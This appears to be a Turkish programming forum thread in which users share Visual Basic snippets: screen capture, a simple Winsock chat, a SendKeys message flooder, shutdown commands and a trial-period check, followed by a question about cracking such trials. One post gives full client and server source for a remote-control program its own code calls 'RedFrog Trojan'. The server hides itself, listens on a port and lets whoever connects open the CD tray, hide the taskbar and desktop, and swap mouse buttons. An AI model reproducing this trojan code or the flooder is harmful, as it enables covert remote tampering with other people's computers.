Örnek Kodlar (ßy_Sky)

[nuriozdas]

Dil kıyaslamasına girmek istemiyorum çünkü VB yi kullananlar niçin VB kullandıklarını,
C kullananlar niçin C kullandıklarını biliyorlardır zaten.

Haklısın biliyorlardır eminim ben biliyorum en azından.
C# Öğrensin ama bu işi para için yapıyorsa öğrensin yada JAVA öğrensin derim
Basit programlar yazmak istiyorsada Visual basic 6 ya devam etmeli.

[ßy_Sky]

Fikir İçin Teşekkur ederim

zaten dedim eski paylaşım

[ßy_Sky]

Basit program Diyip geçme bazi basit programlar buyuk işler başarır

[ßy_Sky]

Gerekenler: 1 adet picturebox,1 adet timer.

Timer'ın interval = 1 yapın

Formun General bölümüne şunları yapıştırın

Option Explicit

Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, _
ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _
ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, _
ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" _
(ByVal hwnd As Long, ByVal hDC As Long) As Long

timer:

On Error Resume Next
Dim hd, w, h ' Geri dönüş değişkenleri
Picture1.AutoRedraw = True ' Resmin görüntüleme içIn

w = Screen.Width / Screen.TwipsPerPixelX ' Resim boyutu
h = Screen.Height / Screen.TwipsPerPixelY

hd = GetDC(GetDesktopWindow())

' Resmi Belirtilen ResimKutusu objesine aktar

Call BitBlt(Picture1.hDC, 0, 0, w, h, hd, 0, 0, &HCC0020)
Call ReleaseDC(GetDesktopWindow(), hd)

' Resmi görüntülemek için yenile

Picture1.*******

Resmi formun büyüklüğüne uydurmak için ise bi tane daha timer ekleyin ve koduna şunları yazın:

timer'ın intervalını 1 yapın

Picture1.Width = Form1.Width
Picture1.Height = Form1.Height

Sorun varsa Soyleyin Çunku paylaştıklarımınn hepsi eskı paylaşımlardır

[nuriozdas]

Basit program Diyip geçme bazi basit programlar buyuk işler başarır

Büyük işler başardığından eminim Yanlış anlama beni lütfen bende yazıyorum vb6 ile halen..

[ßy_Sky]

Command 1 Bağlanmak için

Command 2 Cdromu açmak için

Command 3 Cdromu kapatmak için

Command 4 Başlat çubuğunu Göster

Command 5 Masaüstünü Sakla

Command 6 Masaüstünü Göster

Command 7 Başlat Çubuğunu Sakla

Command 8 Mouse Sağ el hakim olsun

Command 9 Mouse Sol el Sahip olsun

Command 10 Mesaj Yollama

Text 3 Mesaj metni

Text1 ip Yazılacak kısım

Tex4 Bağlantı Göstergesi

JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277
　
End Sub
Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub
Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub
Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide
End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False
Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False
Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False
Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True
　
　
End Select
End Sub
Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
　
Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub

Bunlardan Bazıları Çok işinize yarar

[ßy_Sky]

Büyük işler başardığından eminim Yanlış anlama beni lütfen bende yazıyorum vb6 ile halen..

Onemlı deyil zaten visual basic En basit yazılım programmı

[nuriozdas]

Bu komutları derleyip exe dosyasınıda yüklesene foruma daha iyi olur.

[ßy_Sky]

Dim a As String
Private Sub Command1_Click()
ww.RemotePort = 808
ww.RemoteHost = Text1
ww.Connect
End Sub
Private Sub Command2_Click()
With ww
.LocalPort = 808
.Listen
End With
End Sub
Private Sub Command3_Click()
ww.SendData Text2
Label2 = "gönderildi"
End Sub
　
Private Sub ww_ConnectionRequest(ByVal requestID As Long)
ww.Close
ww.Accept requestID
End Sub
Private Sub ww_DataArrival(ByVal bytesTotal As Long)
ww.GetData a
Text3.Text = a
Label2 = "Alındı"
End Sub
Private Sub ww_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox Description
End Sub

ALINTIDIR

[ßy_Sky]

hemen yapıyorum

[ßy_Sky]

ilk önce
2 tane button
2 TextBox
1 Timer
Yapın
Şimdi Code lar:

Timer1 in code u :

Sendkeys.Send(TextBox1.Text)
Sendkeys.Send("{Enter}")
Timer1.Interval = TextBox2.Text

Button1[başlat] in code u

Timer1.Start()

Button2[durdurma]:

Timer1.Stop()

Evet bu kodları yapıştırdıktan TextBox 2 ye gecikme yi yazıcaksnz(200 ideal)

yain 1 yazarsanız çok hızlı olur ve pc niz donar CTRL+ALT+DEL yapmanız gerekir
500 den fazla yaparsanız çok yavaş olur ii günler umarım işinize yarar

[ßy_Sky]

KAPATMA KODU

Shell ("shutdown -s -t 1")

RESETLEME KODU

Shell ("shutdown -r -t 1")

1 Yazan Kısma Ne kadar yazarsanız Okadar Sureyle Kapatır Ama Sn olarak degerlendiriceksiniz 60 yazarsanız 1 dk kapatır

[ßy_Sky]

Kayitlanan tarih registride surdadir: HKEY_CURRENT_USER/Software/Vb and Vba Program Settings/

Private Sub form_load()

Dim enddate As Date
enddate = GetSetting("Demo", "Demo", "EndDate", "01.01.89")
'EndDate = "01.01.89" ise enddate belirleniyor.
If enddate = "01.01.89" Then
enddate = Date
enddate = enddate + 30 '30 Gün toplaniyor Degiştire bilirsiniz Size Kalmış
SaveSetting "Demo", "Demo", "EndDate", enddate 'EndDate kayitlaniyor
End If

If Date > enddate Then MsgBox "Demo Süresi bitmistir."
End Sub

[Ankaralı]

Merhabalar ortak ;

Peki deneme süresini kırmak yada uzatmak için ne yaparız?    Türk olunca ilk akla bu geliyo naparsın 

[ßy_Sky]

Allahım ya Bilmem Ama bulurlar merak etme